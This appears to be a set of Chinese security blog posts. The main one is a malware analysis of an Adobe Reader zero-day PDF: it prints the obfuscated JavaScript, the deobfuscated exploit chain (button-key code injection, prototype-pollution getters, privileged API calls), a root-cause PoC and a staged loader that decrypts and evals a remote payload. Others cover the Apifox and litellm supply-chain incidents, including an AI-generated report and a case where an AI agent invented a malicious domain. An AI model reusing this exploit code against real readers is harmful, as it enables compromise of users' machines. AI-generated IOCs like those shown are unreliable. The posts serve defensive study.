<< /Names [ (PrintReport_54) << /JS (app.t = app["s"+\({}+[]\)[[+!+[]]+[+!+[]]]+"tTim"+\({}+[]\)[[+!+[]]+[+!+[]]]+"Out"]\(util["str"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ngFromStr"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"m"]\(SOAP["stre"+\(+{}+[]\)[+!+[]]+"mD"+\({}+[]\)[[+!+[]]+[+!+[]]]+"cod"+\({}+[]\)[[+!+[]]+[+!+[]]]]\(util["str"+\({}+[]\)[[+!+[]]+[+!+[]]]+\(+{}+[]\)[+!+[]]+"mFromStr"+\(!+[]/+[]+[]\)[!+[]+!+[]+!+[]]+"ng"]\(getField\(\({}+[]\)[!+[]+!+[]]+\(!![]+[]\)[+[]]+\([][[]]+[]\)[+!+[]]+\(+!+[]+[]\)\)["v"+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]]+"ue"]\), \({}+[]\)[!+[]+!+[]]+\(+{}+[]\)[+!+[]]+\(![]+[]\)[!+[]+!+[]+!+[]]+\({}+[]\)[[+!+[]]+[+!+[]]]+\(!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+[]\)+\(!+[]+!+[]+!+[]+!+[]+[]\)\)\), 500\);) /S /JavaScript >> ] >>
endobj

现在居然还用这种，想当年也是看这这种写法被折腾出来的，现在有大模型了，很简单了：

app.t = app.setTimeOut(util.stringFromStream(SOAP.streamDecode(util.streamFromString(getField("btn1").value),"base64")),500);

其实我觉得在恶意操作里用这种方式是非常sb的事情，你想啊哪里有正常人去折腾写这么个代码呢？（当然喜欢装x的除外！问题是现在这么多年过去了用这个也不好装了吧）

上面这个代码就很好理解了，在getField("btn1").value 对应的obj的里值 base64编码的就是恶意代码里，找下"btn1" 就能找到：

9 0 obj
[ << /FT /Btn /P 5 0 R /Rect [ 0 0 0 0 ] /Subtype /Widget /T (btn1) /Type /Annot /V /dmFyIGEwXzB4NDcxZWZmPWEwXzB4MjNjMjsoZnVuY3Rpb24oX...
>> ]
endobj

一个小坑

把上面pdf里这个“base64编码”的字符串cp出来，当然这个过程你也可以AiPy等智能体直接操作，然后解码你会发现一个问题，解码不完整，后面还有一坨了乱码。

用AiPy调用模型，发现里面有#，这个肯定在base64里是不正常的，然后把这个# 处理掉后，解码出了大部分的逻辑，但是中间还是有一段乱码！

最后通过ChatGPT 分析了下，是 #2f 导致的问题，#2f --> / 然后在pdf函数处理 getField("btn1").value 取值会把 #2f 还原为 / 所以在攻击样本了完全没问题的

这个是一个小坑，不知道是不是攻击者故意的还是无意的，但是这个小坑难到了很多的大模型Agent，而ChatGPT调用的GPT5.4 毫无压力基本上是直接就给出了。

可读

base64完美解码后的代码，很明显就是混淆压缩过的，完全不存在可读性，直接AiPy给出了完美的可读版本的js

三漏洞根因

这个样本最早是lihaifei的EXPMON抓到的

https://justhaifei1.blogspot.com/2026/04/expmon-detected-sophisticated-zero-day-adobe-reader.html

然后在很多关注恶意样本分析的人和公司都做了跟进分析，比较好：

https://gist.github.com/N3mes1s/9e55e8d781235ee256d5b3f6720222dd

https://www.joesandbox.com/joereverser/analysis/download/dcd9f8ca-e3d0-49f1-8f94-9cc76acdce88?type=html

可惜的是，都没有关注到漏洞本身的分析，对于这种WSL风格的漏洞，那么多年过去了我还是比较感兴趣的。核心漏洞代码（来源于AiPy生成可读版）：

/**
 * 漏洞利用主函数
 */
global.reindeer = () => {
    global.exec = function(func, context, args) {
        try {
            stream = {
                'read': app.importDataObject['getDataObject'](app, args[0])
            };
            ob = {
                'getFullName': SOAP['operation']['invoke'](SOAP, stream)
            };
            Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });
            data = { 'WT': '' };
            this.__defineGetter__('isDocReadOnly', false);
            pwnobj = {
                'lastIndexOf': SilentDocCenterLogin['invoke'](app, data, {}),
                'substring': () => { throw Error(''); }
            };
            this.__defineGetter__('path', () => {
                return pwnobj;
            });
            ANShareFile({ 'doc': eval('this') });
        } catch (e) {}
    };
};
// ============================================================================
// 第四部分：攻击执行流程
// ============================================================================
// 触发漏洞利用的按钮配置
var buttons = {
    'a(a(a\'); }); global.reindeer(); throw Error(\'oops\'); //': 0x0
};
try {
    ANFancyAlertImpl('', [], 0x0, buttons, 0x0, 0x0, 0x0, 0x0, 0x0);
} catch (e) {}
// 清理原型链污染
delete Object.prototype.swConn;
// 执行漏洞利用函数
global.exec(global.trustedFunction);
global.deer(global.deer);
global.exec(global.getOS);
global.exec(global.isReader64bit);
global.exec(global.getProdVersionString);

所以真正的漏洞的根因应该是：

var buttons = {
    'a(a(a\'); }); global.reindeer(); throw Error(\'oops\'); //': 0x0
};
try {
    ANFancyAlertImpl('', [], 0x0, buttons, 0x0, 0x0, 0x0, 0x0, 0x0);
} catch (e) {}

以我几十年脚本小子的经验告诉我，这个buttons 存在代码注入的问题，为了看ANFancyAlertImpl这个函数到底是怎么实现的，我不得不启动了2018年跟着Swan师傅搞pdf Fuzzing的虚拟机...

其实要看ANFancyAlertImpl()代码非常简单，做个简单原始格式的pdf（如果嫌弃麻烦你用大模型帮你生成一个），然后加入JS的obj执行：

console.show();
console.println(ANFancyAlertImpl);

你就可以看到ANFancyAlertImpl函数的代码了：

function ANFancyAlertImpl(title, content, tip, buttons, dontShowMeAgain, ok, cancel, other, width)
	{
		var alertWidth = width ? width : Collab.AlertWithHelpWidth ;
		// skeletal layout description
		var desc = {
			content: content,
			dontShowMeAgain: dontShowMeAgain
		};
		// content eelment array
		var ca = [];
		// for each "content" element
		for(var i in content)
		{
			var cc = content[i];
			var cid = "icn" + i;
			var item = [];
			var header = undefined;
			if(cc.header)
				header = {
					type: "static_text",
					name: cc.header,
					font: "dialog",
					bold: true,
					alignment: "align_fill"
				};
			// maybe add a bullet
			if(cc.bullet)
				item[item.length] = 
					{
						type: "static_text",
						name: "\u2022"
					};
			// maybe add an icon
			if(cc.icon)
				item[item.length] = 
					{
						type: "image",
						item_id: cid,
						width: cc.icon.width,
						height: cc.icon.height
					};
			// throw them all into a row view
			var mlse = cc.text ? ANCreateMLSElement(cc.text, { diff: [ alertWidth, (cc.icon ? cc.icon.width : { zstring_width: "\u2022" }) ] }) : [];
			ca[ca.length] = {
				type: "view",
				align_children: "align_row",
				elements:
					item.concat(header ? 
					[{
						type: "view",
						align_children: "align_left",
						alignment: "align_fill",
						elements: [ header ].concat([mlse])
					}] : [mlse])
			};
		}
		// add a tip if appropriate
		if(tip)
		{
			var te = ANCreateTipElements(tip, alertWidth);
			ca = ca.concat(te);
		}
		var ba = [];
		// add a bunch of buttons into an element array
		for(var i in buttons)
		{
			var bc = buttons[i];
			var bid = "btn" + i;
			ba[ba.length] = {
				type: "button",
				item_id: bid,
				name: bc,
				alignment: "align_right"
			};
			// throw a handler for the button in
			desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
		}
		// basic buttons
		if(ok && cancel && other)
		{
			ba[ba.length] = {
				type: "ok_cancel_other",
				ok_name: ok,
				cancel_name: cancel,
				other_name: other,
				alignment: "align_right"
			}
		}
		else if(ok && cancel)
		{
			ba[ba.length] = {
				type: "ok_cancel",
				ok_name: ok,
				cancel_name: cancel,
				alignment: "align_right"
			}
		}
		else if(ok)
		{
			ba[ba.length] = {
				type: "ok",
				ok_name: ok,
				alignment: "align_right"
			}
		}
		// add the buttons into the larger desc
		ca[ca.length] = {
			type: "view",
			align_children: "align_row",
			elements: (dontShowMeAgain ? [
				{
					type: "check_box",
					item_id: "dsma",
					name: (dontShowMeAgain.label ? dontShowMeAgain.label : AnnotsString.IDS_DONT_SHOW_AGAIN),
					alignment: "align_left"
				}
			] : [])
		};
		ca[ca.length] = {
			type: "view",
			align_children: "align_row",
			alignment: "align_right",
			elements: ([]).concat(ba)
		};
		// add an init method to set up icons
		desc.initialize = function(dialog)
		{
			var il = {
				tip1: "C_Info_Xl_N.png",
				dsma: this.dontShowMeAgain ? this.dontShowMeAgain.pref : false
			};
			for(var i in this.content)
			{
				var cc = this.content[i];
				if(cc.icon)
					il["icn" + i] = cc.icon;
			}
			dialog.load(il);
		};
		// store any change to the don't show me again
		desc.commit = function(dialog)
		{
			if (typeof this.dontShowMeAgain != "undefined")
				this.dontShowMeAgain.pref = dialog.store()["dsma"];
			return true;
		};
		// handle the "other" click
		desc.other = function(dialog) { dialog.end("other"); }
		// full description
		desc.description = {
			name: title,
			elements: [
				{
					type: "view",
					align_children: "align_left",
					elements: ca
				}
			]
		};
		app.beginPriv();
		var result = app.execDialog(desc);
		app.endPriv();
		return result;
	}

所以代码注入点：

		// add a bunch of buttons into an element array
		for(var i in buttons)
		{
			var bc = buttons[i];
			var bid = "btn" + i;
			ba[ba.length] = {
				type: "button",
				item_id: bid,
				name: bc,
				alignment: "align_right"
			};
			// throw a handler for the button in
			desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");
		}

很经典的代码，早年玩PHP的人估计对这个循环很眼熟，这里注入的是 var buttons = {"x'": 1}; 这个对象名，而不是值。

所以漏洞根因POC

buttons = {"(('); }); app.alert(1);//": 0x0};
ANFancyAlertImpl("", [], 0, buttons, 0, 0, 0, 0, 0);

又一个小坑

只是让我非常奇怪的是：((' 需要(( 按我之前的JS的经验应该//就不用考虑后面的((的闭合了，于是我问了下大模型，Gemini告诉我这个是：

2. Acrobat 的“愚蠢”预处理器 (Naive Scanner)Acrobat 的底层 C++ 在处理这段 eval 时，为了安全或内部解析的需要，会先使用一个**粗糙的括号计数器（Depth Counter）**来尝试提取这段被括号包裹的表达式 (function(...) { ... })。

其实我看到这个还不是很理解，随即咨询了swan师傅，他让我测试下：

buttons = {"((('); }); app.alert(1);//)": 0x0};

就明白了，注意上面(((' 是三个，然后我在//后面加个) 所以就对上计数了，所以Gemini的回答其实值说了一半，需要对其原有的，也即是

desc[bid] = eval("(function(dialog) { dialog.end('" + bid + "'); })");

这个在bid注入后注释掉的还有两个)) 还真是“愚蠢”的Acrobat～～～

原型污染

按上面的分析这个漏洞的根本原因是出在ANFancyAlertImpl 这个函数里的buttons存在代码注入导致的，而在官方的公告：https://helpx.adobe.com/security/products/acrobat/apsb26-43.html 写的是：

Vulnerability Category: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (CWE-1321)

后面我仔细看了下，官方可能把视角放在了，攻击样本里global.reindeer函数上

global.reindeer = () => {
    global.exec = function(func, context, args) {
        try {
            stream = {
                'read': app.importDataObject['getDataObject'](app, args[0])
            };
            ob = {
                'getFullName': SOAP['operation']['invoke'](SOAP, stream)
            };
            Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });
            data = { 'WT': '' };
            this.__defineGetter__('isDocReadOnly', false);
            pwnobj = {
                'lastIndexOf': SilentDocCenterLogin['invoke'](app, data, {}),
                'substring': () => { throw Error(''); }
            };
            this.__defineGetter__('path', () => {
                return pwnobj;
            });
            ANShareFile({ 'doc': eval('this') });
        } catch (e) {}
    };
};

不得不说这个函数写得还是非常巧妙的，里面涉及到所谓的原型污染应该是说：

Object.prototype.__defineGetter__('swConn', () => {
                return ob;
            });

其实我当时看这种写法在XSS等场景利用是非常常见的，以这个来定义这个漏洞还是那么点奇怪，比较在漏洞角度，这个算是利用的一个tips了，人口还是在ANFancyAlertImpl

缺失的漏洞链

上面的分析的样本及分析来看表现出来的利用就是信息收集，通过读取本地文件来取定OS版本信息等，这个是由于在整个攻击链里还少了一个环节：

/**
 * 检查函数 - 用于验证和执行恶意载荷
 */
function check() {
    if (global.bird0 != undefined && global.bird1 != undefined) {
        app.clearInterval(global.tmp2);
        global.doc = eval('this');
        // 解密恶意载荷
        var encryptedBytes = aesjs.utils.hex.toBytes(global.bird1);
        var aesCtr = new aesjs.ctr(global.bird0, new aesjs.Counter(1));
        var decryptedBytes = aesCtr.decrypt(encryptedBytes);
        var decryptedText = '';
        for (var i = 0; i < decryptedBytes.length; i++) {
            decryptedText += String.fromCharCode(decryptedBytes[i]);
        }
        global.bird0 = undefined;
        global.bird1 = undefined;
        // 解压并执行
        global.final_js = zip_inflate(decryptedText);
        global.tmp1 = app.setTimeOut('eval(global.final_js);', 500);
        global.tmp2 = app.setTimeOut('removeFeeds();', 2000);
    } else {
        global.tmp1 += 1;
        if (global.tmp1 > 0x50) {
            app.clearInterval(global.tmp2);
            try {
                global.trustedFunction(RSS, RSS.removeFeed, [dog1]);
            } catch (e) {}
            try {
                global.trustedFunction(RSS, RSS.removeFeed, [dog2]);
            } catch (e) {}
        }
    }
}

就是这个check()函数里最终会执行：

global.tmp1 = app.setTimeOut('eval(global.final_js);', 500);

而global.final_js 目前还没有人给出来具体的信息及代码，那么我们继续看看这个check()函数的调用：

function startup() {
    try {
        global.trustedFunction(RSS, RSS.addFeed, [dog1]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.addFeed, [dog2]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.subscribe, [{ 'cURL': dog2, 'bPersistent': false, 'cType': 'JS' }]);
    } catch (e) {}
    try {
        global.trustedFunction(RSS, RSS.subscribe, [{ 'cURL': dog1, 'bPersistent': false, 'cType': 'JS' }]);
    } catch (e) {}
    global.tmp2 = app.setInterval('check()', 500);
}
// 启动攻击
startup();

直接就是在 startup() --> app.setInterval('check()', 500). 也就是目前来看这个根上面的 ANFancyAlertImpl漏洞链没有实际的关系，很可能global.final_js是一个独立的漏洞链（当然也可能重走一次ANFancyAlertImpl），为什么会纠结这个问题，那是因为这个样本最开始捕获的时候有人觉得这个可能不是简单的信息收集，而官方给的漏洞公告里也明确了是RCE，所以这个到目前为止还是缺失的～～

在最近的几天官方有更新了两个漏洞，不过按lihaifei的推特上表现跟官方沟通后，确定这2个漏洞与本次实际攻击无关

https://x.com/HaifeiLi/status/2044176791267619062

“At this time, Adobe does not have any evidence that the vulnerabilities patched in APSB26-44 (CVE-2026-34622 and CVE-2026-34626) have been exploited in the wild.”

但是按官方这种漏洞“理解”，这种WSL的漏洞估计很可能会修不全或者来来回回折腾几次...

后话

1、相比内存漏洞这种漏洞在实际攻击中还是很少见的，当然这个攻击面实际上一直都在，我在做pdf fuzzing的时候其实有想去看看这种逻辑类型的漏洞的

2、攻击样本用的俄语诱饵，实际上大毛还是非常喜欢这种逻辑型漏洞的，尤其是是office系列

3、global.final_js获取的失败，正好证明了这种客户端与服务端分离的设计的好处，这个问题在前面的ios Coruna 和 DarkSword 显得无比粗糙，当然这都是20+年的Tips了

4、对于这种复杂样本分析从表现上来看，大模型已经帮我们省去了不少工作，很多基本算是“秒出”

5、其实在Agent的设计上，怎么直接调用模型真正语义理解能力，是一个值得考虑的点（很多时候Agent依赖的是模型生成的正则等规则匹配完成分析，而不是直接语义分析）

跳转微信打开

Apifox 供应链攻击事件（AiPy自查）

Thu, 26 Mar 2026 14:29:00 +0800

heige 2026-03-26 14:29 美国

这次的“Apifox 供应链攻击事件” 可以参考：

官方公告：关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告

另外还有一个最早发布的一个完整分析：

https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/

这类的分析其实在使用Zoomeye 和 AiPy 捕获 Coruna 样本已经有过例子了，秉承AI Agent 下半场文章中“结果导向”的理念，在这次分析中出现了一个非常典型的 “幻觉”，另外在这几天直播中有人问我：是Skill重要还是模型能力重要，包括这段时间翻炒的 IHarness Engineering 当然这个问题我其实在以往的文章都提到过，然后这个例子正好用来说明这个问题。

启动AiPy （我用的Cli版本，大家也可以去www.aipyaipy.com 去使用gui版本）

>>> 帮我分析下
https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

幻觉（国产模型+没有配置skill）

开始我使用的国内模型（具体就不说了），然后一顿分析后的结果：

解密后发现的域名

https://api.apifox.comhttps://apifox.it.co          ← ⚠️ 恶意域名https://cm.bilibili.comhttps://convert.dop.360.cnhttps://ocpc.p4p.sogou.comhttps://us.i.posthog.comhttps://www.google-analytics.com

关键发现

在 deobfuscated_complete.js 第 22 行：

// 远程服务器 URLconstREMOTE_JS_URL = 'https://apifox.it.co/xxx';constAPIFOX_USER_API = 'https://api.apifox.com/api/v1/user';

确认：版本 1 使用 https://apifox.it.co/xxx 作为远程代码请求地址

随后我还追问了下：

当时我也差点被幻觉误导了，注意看他这里找出来的是 apifox.it.co , 于是我审查了一下整个过程，发现了问题：在编写deobfuscate.js的代码的时候，他直接估计混淆的js脑补了一个地址

原本的混淆的JS源码：

这种幻觉还是非常隐蔽的，不容易被发现，如果不是review下整个过程，很可能就被误导了，这个也对后续的排查也会埋下漏报祸根！

逆向 (AiPy + Gemini31.1 pro)

🚀 Python use - AIPython (0.6.0b17) [https://aipy.app]
[Main] Please enter an instruction or `/help` for more information
>> /llm use tt-gemini-3
Success
>> 帮我逆向下
https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

这里分析出来的是 apifox.it.com 生成的md报告：

Apifox App Event Tracking 逆向分析报告

概述

对 apifox-app-event-tracking.min.js 文件进行了深度逆向分析，这是一个高度混淆的JavaScript文件，主要用于收集用户行为数据并与远程服务器通信。

文件基本信息

原始大小
: 80,255 字节
混淆类型
: 字符串数组 + RC4加密 + 控制流平坦化
目标环境
: 浏览器/Electron桌面应用
主要功能
: 用户行为追踪、远程代码加载、系统信息采集

代码结构分析

1. 混淆机制

字符串数组
: _0x70b33e 包含 400+ 个混淆字符串
RC4解密
: _0x3fb9 函数实现RC4流密码解密
字符串洗牌
: 通过复杂的数学运算重新排列字符串数组
函数重命名
: 所有函数和变量都使用 _0x[0-9a-f]+ 格式

2. 核心功能模块

2.1 网络通信模块

// 远程JS URL (经过混淆)
REMOTE_JS_URL = "https://apifox.it.com/..."
// API接口
APIFOX_USER_API = "/api/v1/user"
// 代理服务器
PROXY_SERVER = "https://web-proxy.apifox.com/api/v1/request"

2.2 加密模块

RSA加密
: rsaEncrypt() / rsaDecrypt()
私钥
: 硬编码在代码中（PEM格式）
用途
: 加密敏感数据（用户ID、设备信息等）

2.3 系统信息采集

// 采集的数据包括：
- MAC地址
- CPU型号
- 操作系统版本
- 主机名
- 网络接口信息

2.4 持久化存储

localStorage键
:

_rl_mc
: 机器标识
common.headers
: 请求头信息
eventTracking.firstVisit
: 首次访问标记
eventTracking.dailyReportUsers
: 日报用户记录

3. 主要执行流程

3.1 初始化阶段

加载字符串数组并解密
获取或生成设备指纹
建立网络连接测试

3.2 数据采集阶段

收集系统信息（CPU、OS、网络）
生成唯一设备标识符
加密敏感数据

3.3 远程通信阶段

向API发送心跳包
获取远程JS代码 (loadAndExecute())
执行远程代码 (eval(rsaDecrypt(response)))

3.4 定时任务

随机间隔
: 4小时 - 24小时
任务类型
:

数据上报 (scheduleNext)
页面访问统计 (reportPageview)
用户行为追踪 (report)

4. 安全分析

4.1 潜在风险点

远程代码执行
: 从 REMOTE_JS_URL 动态加载并执行JS代码
数据泄露
: 收集详细的系统信息和用户行为
持久化跟踪
: 使用多种存储机制维持长期跟踪
加密绕过
: 使用弱加密算法保护传输数据

4.2 反调试措施

复杂的字符串混淆
自修改代码
定时器干扰

5. 关键发现

5.1 远程服务器

主服务器
: https://apifox.it.com
API端点
: /api/v1/request, /api/v1/user
代理服务
: web-proxy.apifox.com

5.2 跟踪功能

Google Analytics集成
百度统计集成
PostHog统计集成
SLS日志服务

5.3 用户识别

基于硬件信息的设备指纹
用户ID绑定 (common.currentUserId)
会话跟踪 (projectCid)

技术细节

6.1 字符串解密算法

functionrc4_decrypt(key, data) {
// 初始化S盒
// 密钥调度算法
// 伪随机生成算法
// 异或解密
}

6.2 设备指纹生成

functiongenerateDeviceId() {
const components = [
        macAddress,
        cpuModel,
        osVersion,
        hostname,
        networkInterfaces
    ];
returnsha256(components.join('-'));
}

6.3 定时调度算法

functionrandomInterval() {
const min = 4 * 60 * 60 * 1000;  // 4小时
const max = 24 * 60 * 60 * 1000; // 24小时
return min + Math.random() * (max - min);
}

结论

这是一个功能完整的用户行为追踪SDK，具有以下特点：

高度混淆
: 使用多层加密和混淆技术保护代码
全面采集
: 收集系统和用户行为数据
远程控制
: 支持动态更新和执行远程代码
持久跟踪
: 使用多种机制维持长期跟踪能力
多平台支持
: 同时支持Web和Electron环境

建议

安全审计
: 建议对远程服务器进行安全评估
隐私合规
: 确保符合GDPR等隐私法规
代码加固
: 考虑使用更安全的加密算法
监控机制
: 建立异常行为检测机制

分析时间: 2026-03-26分析工具: 静态分析 + 动态调试风险等级: 高

自查

有这个分析结果了就非常简单了

>>> 帮我查一下是否中招

当然这个前提是你有给他分析那个js，如果不想发时间逆向分析，你也可以随便找一个分析报告让AiPy阅读下也是可以的

看起来还是查得比较仔细的包括浏览器localStorage啥的。

Skill （AiPy+国产模型+Skill）

按AI Agent 下半场里提到的套路：

Code-use Agent --> 任务 --> 自动总结生成并安装 Skills --> 分发到 Skills 市场 --> 其他用户下载安装使用

我用国外的模型自动提炼了个Skill：

---
name: reverse-obfuscated-js
description: Use this skill to reverse engineer obfuscated JavaScript loaders, telemetry scripts, and suspected staged payloads. It focuses on evidence-first analysis, controlled execution, IOC extraction, deobfuscation, and preventing AI hallucinations from entering the evidence chain.
---
# Reverse Obfuscated JS
## When to use this skill
Use this skill when the target is a minified or obfuscated JavaScript sample and you need to:
- recover important constants, URLs, keys, and storage names
- understand loader chains and second-stage payload fetches
- inspect telemetry, tracking, or suspicious desktop/Electron behavior
- distinguish verified facts from guesses
- produce readable deobfuscated output and a defensible report
This skill is optimized for samples where pure regex extraction is not enough because key strings are restored at runtime.
## Core rule
Do not let generated artifacts become evidence.
Primary evidence is limited to:
- the original sample
- controlled runtime interception of the original sample
- first-party response bodies returned by the sample
Secondary artifacts are useful for explanation but cannot prove original behavior:
- AI-written reports
- manually reconstructed code
- flowcharts
- deobfuscated templates
## Output model
Every conclusion should be labeled as one of:
- `Verified`: directly supported by primary evidence
- `Inferred`: supported indirectly and should be stated as inference
- `Unknown`: not yet established
Never fill an unknown IOC with a plausible-looking placeholder such as `https://example.com/xxx`.
## Workflow
### 1. Preserve the original sample
- save the raw script exactly as collected
- compute and record a hash if practical
- avoid editing the original sample
### 2. Perform a static sweep
Use fast text search first.
Recommended commands:
```bash
rg -n "https?://|localStorage|sessionStorage|fetch|eval|Function\\(|XMLHttpRequest|require\\(|crypto|posthog|gtag|electron|userAgent" sample.js
rg -n "_0x|atob|btoa|fromCharCode|decodeURIComponent|TextDecoder|subtle|createDecipheriv|createHash" sample.js
```
During the static pass, extract:
- obvious URLs
- storage keys
- crypto API usage
- `eval` or code-generation sinks
- environment checks such as `Electron`, `window.require`, `process`
- identifiers for string-decoder functions and lookup arrays
### 3. Build a controlled runtime
If important values are restored dynamically, execute the original sample in a constrained environment.
Prefer Node.js `vm` or an equivalent sandbox with stubbed globals.
Intercept at minimum:
- `fetch`
- `XMLHttpRequest`
- `eval`
- `Function`
- `localStorage.getItem` and `localStorage.setItem`
- `sessionStorage`
- `window.require`
- `setTimeout` and `setInterval`
- DOM insertion points such as `document.createElement`, `appendChild`, `insertBefore`
For Electron-oriented samples, stub:
- `window.require('crypto')`
- `window.require('os')`
- `window.require('fs')` only if needed
The goal is not full emulation. The goal is to capture:
- resolved constants
- runtime-decoded strings
- fetched URLs
- custom request headers
- storage keys and values
- decryption inputs and outputs
- the final code execution sink
### 4. Recover dynamic constants
For values such as `REMOTE_JS_URL`, `LS_HEADERS`, or API paths:
- prefer runtime interception over regex guessing
- if the script computes headers, log the computed object
- if the script writes a storage key, capture the exact key used at runtime
If a string-decoder function is isolated cleanly, you may evaluate just that decoder and dump its outputs. Still treat the original sample as the source of truth.
### 5. Analyze loader and crypto behavior
Map the execution chain in order:
- what condition enables the loader
- what identifiers or fingerprints are collected
- how request headers are built
- which endpoint is fetched
- whether content is encrypted, compressed, or encoded
- which decryptor/decoder is used
- where execution finally occurs, such as `eval(decryptedCode)`
When describing crypto behavior, be precise:
- identify algorithm and mode only if verified
- identify hash function only if verified
- if key material is partial or hidden, mark it `Unknown`
### 6. Reconstruct readable code
After evidence is collected, produce a readable reconstruction.
Rules for reconstruction:
- preserve verified constants exactly
- mark approximate logic with comments such as `// inferred`
- do not silently replace unknown behavior with plausible logic
- keep dangerous calls visible, for example `eval`, network fetches, local fingerprinting
### 7. Produce an evidence table
For each high-value conclusion, include:
- claim
- status: `Verified`, `Inferred`, or `Unknown`
- evidence source
- file or runtime reference
Example:
```text
Claim: REMOTE_JS_URL = https://apifox.it.com/public/apifox-event.js
Status: Verified
Evidence: controlled runtime interception of fetch() from original sample
```
## Hallucination prevention checklist
Before finalizing, verify all of the following:
- no IOC came only from an AI-generated report
- no generated deobfuscated file is being used as proof of original behavior
- all placeholder values are clearly marked
- all critical URLs were observed in the sample or during controlled execution
- all storage keys were observed exactly, not abbreviated
- all API field names were read from real responses or real access paths
- every important claim is tagged `Verified`, `Inferred`, or `Unknown`
If a guessed value appears in a draft, remove it or relabel it before shipping.
## Deliverables
The default deliverables for this skill are:
- a concise finding summary
- a readable deobfuscated or reconstructed code file
- an evidence-backed notes file
- if relevant, a short hallucination-risk section explaining what was verified vs inferred
## Practical bias
Prefer runtime truth over elegant static theory.
If static extraction and runtime behavior disagree, trust the original sample plus controlled interception, then explain the discrepancy.

然后AiPy安装这个skill 使用国产模型跑了下，一次就跑出结果了：

效果还是非常好的。

所以在现在阶段Skills的存在是，其实也就是之前的提示词工程的还是有存在的价值和意义的，这个也让我想起在直播的时候提到的Claud 与 Openai在当时还是提示词工程这个词比较火的时代的PK，这个跟AI Agent 下半场里提到的MCP/Skills 其实也是一样的：

过度的开发者依赖不符合 AGI 的追求

但是你也不得不承认在先阶段，好的提示词（包括Skill）还是能有效提升模型工作能力的！当然他们两者也不冲突，还有一个就是通用Agent设计也非常重要，在现阶段这三方面都有发挥的空间～

总结：

以“结果为导向”才是AI Agent的下半场的唯一衡量标准！AiPy其实一直都是以“让AI成为您的真正干活牛马”

无耻广告：

我正在体验新一代超级人工智能助手AiPy！现在使用我的专属邀请码：sE5B，立即获得 2,000,000 Tokens额外奖励！
使用方式如下：
① 进入AiPy官网：https://www.aipyaipy.com/，下载最新版AiPy客户端。
② 注册登录时填写上方邀请码即可。

跳转微信打开

litellm 供应链攻击事件分析（使用AiPy自查）

Wed, 25 Mar 2026 22:10:00 +0800

aipy 2026-03-25 22:10 湖南

AiPy 任务提示词：

>> 分析下 https://github.com/BerriAI/litellm/issues/24518 这个事件

>>> 你帮我看看这个项目的操作记录帮我找下这个事件相关的痕迹包括攻击部署发现后的处理根据项目记录日志来看如果你需要查询可以使用 gh我已经登录了

当然在后续我还使用AiPy做了个自查，很简单

>>> 你帮我查看下我有没有中招

所以这种安全应急自查是非常简单的场景～～

我们回归到这次供应链事件，其实这对github的CI/CD环境供应链攻击可以参考被忽视的“GitHub Actions Supply Chain Attack”事件

然后我们继续看看攻击者是怎么搞定Trivy ，继续AiPy任务

>>> 那我们继续分析下 Trivy 怎么被入侵的

最后的下面是事件两篇报告：

litellm 供应链攻击事件时间线分析

基于 GitHub 项目记录的完整事件追踪

事件概览

项目	信息
仓库	BerriAI/litellm
GitHub Stars	40.3k
攻击类型	PyPI 供应链攻击
受影响版本	v1.82.7, v1.82.8
攻击入口	trivvy 安全扫描工具依赖
攻击者域名	models.litellm.cloud (2026-03-23 注册)

完整时间线

攻击准备阶段

时间	事件	来源
2026-03-23	攻击者注册域名 `models.litellm.cloud`	Issue #24518
2026-03-23	攻击者通过 trivvy 依赖获得 PyPI 发布权限	Issue #24518
2026-03-23	恶意版本 v1.82.7 发布到 PyPI	Issue #24518
2026-03-23	恶意版本 v1.82.8 发布到 PyPI	Issue #24518

发现与报告阶段

时间	事件	来源
2026-03-24 11:48:51 UTC	isfinne (Rui Hu) 首次报告 Issue #24512: "CRITICAL: Malicious litellm_init.pth in litellm 1.82.8"	GitHub Issue
2026-03-24 13:14:11 UTC	treo (Paul Dubs) 报告 Issue #24514: 扩展到 v1.82.7 和 v1.82.8	GitHub Issue
2026-03-24 13:38:18 UTC	deepakmca05 (BharOS) 报告 Issue #24517: "PyPI has quarantined litellm"	GitHub Issue
2026-03-24 14:10:45 UTC	Issue #24515: 报告数据外泄到 models.litellm.cloud	GitHub Issue

应急响应阶段

时间	事件	提交/PR	作者
2026-03-24 16:13:37 UTC	PR #24525 : "fix(security_scans.sh): pin trivvy version"	fb37986	krrish-berri-2
2026-03-24 16:15:35 UTC	PR #24525 合并	-	krrish-berri-2
2026-03-24 18:19:15 UTC	提交 f9d29e4 : "move to older trivvy version"	f9d29e4	-
2026-03-24 22:54:35 UTC	提交 eaa025e : "add security update blog post"	eaa025e	ryan-crabbe
2026-03-24 23:02:46 UTC	PR #24537 : "docs: add security update blog post"	-	ryan-crabbe-berri
2026-03-24 23:07:45 UTC	PR #24537 合并	-	ryan-crabbe-berri
2026-03-24 23:54:59 UTC	提交 4571f2a : "fix: add tldr to blog post"	4571f2a	-

深度清理阶段

时间	事件	提交/PR	作者
2026-03-25 00:15:44 UTC	提交 f9d1f8c : "minor updates to security update blog post"	f9d1f8c	ishaan-jaff
2026-03-25 00:34:51 UTC	提交 e92edee : "Merge branch 'main' into worktree..."	e92edee	ishaan-berri
2026-03-25 00:35:01 UTC	PR #24540 : "docs: minor updates to security update blog post"	-	ishaan-berri
2026-03-25 00:59:07 UTC	提交 3d5b1ec : "ci: remove publish-migrations and reset_stable workflows"	3d5b1ec	ishaan-jaff
2026-03-25 01:03:04 UTC	提交 3e8a6f2 : "ci: remove all publish/deploy workflows as part of supply chain incident response"	3e8a6f2	ishaan-jaff
